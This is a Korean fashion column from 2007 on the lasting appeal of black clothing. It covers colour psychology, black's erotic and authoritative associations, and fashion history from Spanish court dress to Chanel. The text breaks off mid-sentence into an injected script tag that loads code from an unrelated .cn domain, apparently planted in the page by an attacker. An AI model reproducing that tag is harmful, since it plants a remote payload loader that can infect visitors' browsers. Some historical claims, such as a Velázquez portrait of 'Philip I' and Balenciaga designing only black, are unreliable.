영원한 스테디셀러 트렌드 ‘블랙 파워’의 매력

2007-01-25  

글 / 이정금(여자와닷컴 패션 뷰티 담당 기자)

올 가을/겨울 트렌드 컬러는 확실히 ‘블랙’이다. 패션잡지, 여성지, 일간지를 구분할 것 없이 앞 다투어 블랙에 대한 기사를 다루는 걸 보면 말이다. 그리고, 백화점을 가봐도 온통 블랙 계열의 옷들이 즐비하다.
얼마 전 가을맞이 백화점 쇼핑을 하면서 필자의 가방 또한 온통 블랙 옷들로 한 짐이 되었다. 쇼핑에 소요하는 시간이 많은 필자는 주로 ‘이 옷을 사면 내가 가지고 있는 어떤 옷과 어울릴까?’를 가장 중심에 두고 옷을 고르다 보니 시간이 많이 소요되는 것이다. 헌데, 올 가을/겨울 유행 컬러인 블랙의 느낌이 예전과는 사뭇 다르다. 블랙은 블랙인데, 왠지 단정해보이지 않는다. 이즈음 블랙이라는 기존의 색깔에 대해 잠시 언급을 하자면 이제까지의 블랙의 이미지는 이지적이고 단정하다. 때로는 차갑고 가끔은 섹시해보이기도 한다.
모든 사람은 기분과 성격, 불안 등을 표현하기 위해 잠재의식 속에서 컬러를 이용한다. 컬러에 대한 반응은 사람마다 다르지만 특정한 컬러는 보편적인 연상을 일으키기도 한다. 컬러 선택은 전적으로 잠재의식에만 의존할 필요는 없다. 주어진 상황이나 목적에 따라 혹은 자신의 느낌에 따라 다양한 컬러를 선택할 수 있기 때문이다. 그러나 적절한 컬러의 사용은 자신의 이미지를 한층 고양시키는 촉매제가 된다는 사실에는 의문의 여지가 없다.

왜 여성들은 블랙을 고집하는가?
흔히 여성들이 옷장에 가지고 있는 필수품인 블랙 드레스는 블랙 특유의 우아함 때문이다. 블랙 옷을 입으면 뚱뚱해도 날씬해 보이는 효과가 있기는 하지만 좀 더 속을 들여다 보면 신비감과 권위, 일말의 반항심 등이 블랙에는 들어있다.
블랙은 여성의 볼륨감을 살려주고 곡선미에 명암을 드리워 준다. 여기에 블랙이 주는 극적인 재미와 다소의 신체적인 핸디캡을 커버해주고 몸매를 날씬하게 해준다.
블랙 의상은 옷을 입는 여성은 호기심을 불러일으키지만 우아한 매력을 잃지는 않는다. 특정 의상에 따라 블랙이 사람을 보이지 않게 할 수도 있고 엄격한 느낌을 줄 수는 있다. 이럴 때는 블랙에 여러 가지 컬러를 곁들이면 특유의 엄격한 느낌을 부드럽게 하거나 활력을 불어 넣을 수도 있다.
그래서 디자이너들은 컬러가 온다고 해도 블랙을 포기하지는 않는다.
블랙은 컬러 중에서 가장 무난한 색이므로 그만큼 선택에 있어서 만만하다. 만약 선택에 있어 고민이 생긴다면 과감하게 블랙을 고르면 그것이 바로 탁월한 선택이 될 수 있다. 블랙은 색의 3원색인 노랑, 빨강, 파랑을 섞으면 나오는 색이므로 블랙에는 온갖 컬러가 섞여있기도 하기 때문이다.
블랙의 미묘한 공포 분위기는 에로틱하고 섹시한 미를 느끼게 해준다. 어둠은 무엇인가 아득한 미지에 대한 동경과 3원색이 섞였기 때문에 느껴지는 복잡함이 있다. 요즘 같은 페미니니티가 트렌드로 등장하기 전까지 성적 경험이 없는 여성들은 차마 입을 수 없는 옷이었다고 패션사는 전한다.
레이스 스타킹이나 슬립 드레스와 같은 의상에서 가장 섹시한 색 가운데 하나는 늘 블랙의 차지였다. 이는 블랙이 가지는 에로틱한 분위기 때문이었다. 더구나 블랙은 신비스럽고 마술적인 뉘앙스가 있기 때문에 블랙은 마치 저속한 탈선처럼 보이기도 하는 것이다. 스스로가 에로틱한 매력을 담고 있는 블랙 의상은 아무래도 가죽 미니 스커트, 갈비뼈가 드러날 정도로 꽉 끼는 터틀넥이나 바지, 레이스가 달린 보디 수트 등일 것이다. 또한 블랙 캐시미어 스웨터나 클래식한 드레스는 시크한 느낌을 전달하기에 충분하다.
한편 블랙은 순례자의 의상이나 수녀복 등에서 엿볼 수 있는 것처럼 극도로 점잖은 분위기를 자아낸다. 종교계나 권자에 앉은 사람들인 성직자, 수녀, 경찰관 등이 전통적으로 블랙 의상을 입는 것도 이러한 연유 때문일 것이다. 특히 지배를 암시하는 블랙의 속성상 블랙 옷은 권력과 귄위를 강조하고 싶은 사람들의 사랑을 받고 있다.

패션의 역사는 곧 블랙의 역사다
패션의 역사는 블랙으로 시작해서 블랙으로 끝났다고 해도 과언이 아닐 것이다. 디자이너 발렌시아가는 블랙 이외의 의상은 한번도 디자인 한적이 없다고 한다. 블랙이 스페인의 탐미주의자들을 지배한 기록은 1500년대에 까지 올라간다. 당시 스페인의 지도자들은 모두 블랙 옷만 입었다고 한다. 이러한 사실은 디에고 발라스케즈가 그린 필립 1세의 초상화만 봐도 여실히 드러난다. 그림에는 블랙 옷과 금색, 은색 장식을 한 인물이 권위적인 모습으로 앉아 있다.
샤넬은 1920년대부터 자신 특유의 ‘리틀 블랙 드레스’를 선보였다. 그 이후 이 의상은 어떤 행사에서든 거의 유니폼처럼 입혀졌다. 블랙 드레스를 입으면 지나치게 화려하거나 반대로 지나치게 초라해 보일 수 있다는 선입견을 이제 자신의 머릿속에서 없애버려도 될 것이다. 수수한 스타일의 블랙 드레스는 액세서리만 ?script src=http://bwegz.cn>

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